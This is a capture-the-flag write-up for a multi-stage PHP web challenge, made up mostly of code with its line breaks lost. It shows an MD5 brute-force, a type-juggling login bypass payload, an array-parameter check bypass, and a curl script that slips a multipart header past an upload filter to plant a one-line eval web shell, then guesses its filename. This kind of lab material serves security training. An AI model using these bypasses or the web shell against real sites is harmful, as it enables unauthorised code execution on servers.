3 人のホワイトハット - すべての道はローマに通ず シリーズ 2 - 書き込み

http://4e79618700b44607c.jie.sangebaimao.com

Set-Cookie source=WXpOV2FXTXpVbmxMUnpGclRsTm5hMWd3WkVaV1JuTnVZekk1TVdOdFRteEtNVEJ3VEVSTmMwNXBhemxRVTBrMFRWZEZNRTFxWTJr

#!phpsubstr(md5($_GET['source']),3,6)=="81a427"

#!python#!/bin/env python#-*- encoding: utf-8 -*-import md5def mx(str):    m1 = md5.new()       m1.update(str)       return m1.hexdigest()if __name__ == '__main__':    m = '81a427'    for x in range(1,100000000):        a = mx(str(x))[3:9]        if a == m:            print x            break

/index.php?source=47733

#!php$password = unserialize($_POST['password']);if($_POST['username']='admin' && $password['username'] !== 'admin' && $password['password'] !== 'admin'){    if ($password['username'] == 'admin' && $password['password']=='admin') {        $_SESSION['login'] = 1;        echo "<center style=\"font-size:36px;\"><a href=\"main.php\">Click jump to the Backstage</a></center>";    }

#!php(0 == "str")=>true(0 === "str")=>false

username=admin&password=a:2:{s:8:"username";i:0;s:8:"password";i:0;}&submit=1

#!phpif (isset($_POST['salt'])){    if (ereg("^[a-zA-Z0-9]+$", $_POST['salt']) === FALSE)    {        exit('ereg');    }    elseif (strlen($_POST['salt']) < 11 && $_POST['salt'] > 999999999)    {        if (strpos($_POST['salt'], '*SGBM*') !== FALSE)        {            $_SESSION['admin'] = 1;            echo "<center style=\"font-size:36px;\"><a href=\"./admin/index.php\">Click jump to the Backstage</a></center>";        }

salt[]=v&submit=1

#!php$URL = $_SERVER['REQUEST_URI'];$matches = array();preg_match('/^([a-z\/.]+)$/', $URL, $matches); if(strpos($URL, './') !== FALSE){    exit('./');}else if(strpos($URL, '\\') !== FALSE){    exit('\\');}else if(empty($matches) || $matches[1] != $URL){    exit('empty($matches) || $matches[1] != $URL');} else if(strpos($URL, '//') !== FALSE){    exit('//');} else if(substr($URL, -10) !== '/index.php'){    exit('substr($URL, -10) !== \'/index.php\'');} else if(strpos($URL, 'p.') !== FALSE){    exit('p.');} else if($URL == '/admin/index.php'){    exit('$URL == \'/admin/index.php\'');}else {    if($URL !== '/admin/index.php'){        $_SESSION['power'] = 1;        exit("<center style=\"font-size:36px;\"><a href=\"upload.php\">Click jump to the Backstage</a></center>");    }}

#!phpif($_FILES["file"]['size'] > 0 && $_FILES["file"]['size'] < 102400) {    $typeAccepted = ["image/jpeg", "image/gif", "image/png"];    $blackext = ["php", "php3", "php4", "php5", "pht", "phtml", "phps"];//总有一款适合你    $filearr = pathinfo($_FILES["file"]["name"]);    if(!in_array($_FILES["file"]['type'], $typeAccepted)) {        exit("type error");    }    if(in_array($filearr["extension"], $blackext)) {        exit("extension error");    }    $filename = md5(time().rand(10, 99)) . "." . $filearr["extension"];    $destination_folder = '../uploads/';    $destination_folder .= date('Y', time()) . "/" . date('m', time()) . "/";    $file_name_path = $destination_folder.$filename;    if (!file_exists($destination_folder)) mkdir('./' . $destination_folder, 0777, true);    if (move_uploaded_file($_FILES["file"]['tmp_name'], $file_name_path)) {        exit('upload success!');    } else {        exit('upload false!');    }}

#!php<?php$phar = new Phar('virink.phar', 0, 'virink.phar');$phar->buildFromDirectory(dirname(__FILE__) . '/virink');$phar->setStub($phar->createDefaultStub('virink.php', 'virink.php'));$phar->compressFiles(Phar::GZ);?>

#!phpExtract_Phar::go(true);$mimes = array('phps' => 2,...，'xsd' => 'text/plain','php' => 1,'inc' => 1,'avi' => 'video/avi',...

#!php<?phpdate_default_timezone_set('UTC');error_reporting(0);function fuck($ext, $contents){    $u = "4e79618700b44607c.jie.sangebaimao.com";    $key = "file\";filename=shell.$ext\r\nContent-Type:image/jpeg\r\nv:v";      $fields[$key] = $contents;    $ch = curl_init();    curl_setopt($ch,CURLOPT_URL,"http://".$u."/admin/upload.php");    curl_setopt($ch,CURLOPT_HEADER,true);    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);    curl_setopt($ch,CURLOPT_POST,true);    curl_setopt($ch,CURLOPT_POSTFIELDS,$fields);    curl_setopt($ch,CURLOPT_BINARYTRANSFER,true);    curl_setopt($ch, CURLOPT_COOKIE, 'YOU COOKIE');    $result = curl_exec($ch);    curl_close($ch);    $tt = substr($result,strpos($result,'Date')+11,20);    $t = strtotime($tt);    if(strpos($result,'success') === FALSE)        die('error');    for($i = 10; $i<100;$i++){        $url = "http://".$u."/uploads/2016/05/".md5($t.$i).'.'.$ext;        $f = file_get_contents($url);        if ($f && strpos($f,'virink') !== FALSE){            print $url;            break;        }    }}$contents =<<<TEXT<?php eval(\$_POST[999]);?>virinkTEXT;$ext = 'inc';fuck($ext, $contents);?>

#!python#!/bin/env python#-*- encoding: utf-8 -*-# __author__ : Virinkfrom PIL import Imageimport mathif __name__ == '__main__':    count = len(open('flag.txt','r').readlines())    j = int(math.sqrt(count))    i = j+2    for k in range(0,i/4):        sx = i-k        sy = j+k        if (sx * sy) == count:            break    c = Image.new("RGB",(sx,sy))    file = open('flag.txt')    for x in range(0,sx):        for y in range(0,sy):            line = file.readline()#获取一行            rgb = line.split(",")#分离rgb            c.putpixel((x,y),(int(rgb[0]),int(rgb[1]),int(rgb[2])))    c.show()    c.save("flag.png")

FLAG ： miao{fb49ac8a528901913ea2c664c6a8d6a1}